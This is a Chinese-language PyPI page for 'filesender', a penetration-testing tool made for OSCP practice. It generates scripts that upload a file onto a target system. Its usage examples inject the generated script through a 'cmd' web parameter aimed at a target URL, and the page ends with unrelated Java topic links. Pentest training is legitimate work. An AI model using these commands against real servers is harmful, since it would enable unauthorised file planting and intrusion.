创建不同语言的脚本以从服务器下载文件。可以通过一个文件发送文件。

filesender的Python项目详细描述


PyPiLicenseDonateBeerpay

目录

文件发送程序

项目URL:https://github.com/EmilienPer/FileSender

创建了用于OSCP认证的文件提交程序。 它的目标是生成一个脚本,将文件以不同的语言上传到目标。 基本机制如下:

  • 将文件复制到临时目录中
  • 启动服务器(如果需要)
  • 创建脚本以从服务器下载文件或生成文件
  • 将脚本发送到目标

要求

如果没有以下工具,在Python2.7上运行的文件提交程序将无法正常工作

需要以下工具:

  • upx(/usr/bin/upx)
  • exe2bat.exe
  • 葡萄酒

安装

sudo pip install filesender

选项

OptionShortcutDescription
fileThe path to file to send
methodthe language of the script (powershell,hex,ftp,wget,vbscript,exe2bat)
typethe type of output/sending method (print / get / post)
destthe destination directory on the target
--server-ipThe local ip address
--server-portThe local port
--url-uThe Target URL
--params-pA json {key:value} where value=<SCRIPT> when should be replace by the script
--cookies-cThe cookies json
--timeoutThe timeout for server

用法

  • filesender /path/to/my/file.exe wget get /path/on/the/target --server-ip 10.10.10.10 --server-port 80 -u http://target.com -p {\"cmd\":\"<SCRIPT>\"} -c {} --timeout 10
  • filesender /path/to/my/file.exe ftp print /path/on/the/target
  • filesender /path/to/my/file.exe wget get /path/on/the/target --server-ip 10.10.10.10 --server-port 80 -u http://target.com -p {\"cmd\":\"<SCRIPT>\"}

问题管理

对于贡献或建议,请open an Issue并使用示例或用例(如果合适)清楚地解释。

欢迎加入QQ群-->: 979659372 Python中文网_新手群

推荐PyPI第三方库


热门话题
具有x86javapath的x64机器上x86java上的java JNI未满足链接错误   java将Pixmap的一部分上传到GPU   图像Java位图RLE8格式   java Android studio谷歌广告崩溃应用程序   java如何创建包含未知数量对象的变量?   Java计算给定int数组的所有可能组合   java JDBC classnotfound异常   httpclient中的java将HttpEntity转换为字符串的最优雅/正确的方法是什么?   如何从Java程序运行nano?   java在安卓中调用自定义类/方法   调用方法和JOptionPane后,允许代码继续执行所需的java计时器或其他想法   关于侦听器的向量Java并发问题   线程池执行器Java线程池   java配置DTO上的Swagger javax验证约束   Java中用于按钮功能的swing操作命令   ServletOutputStream中的java设置状态代码   java打印输入数组的平均值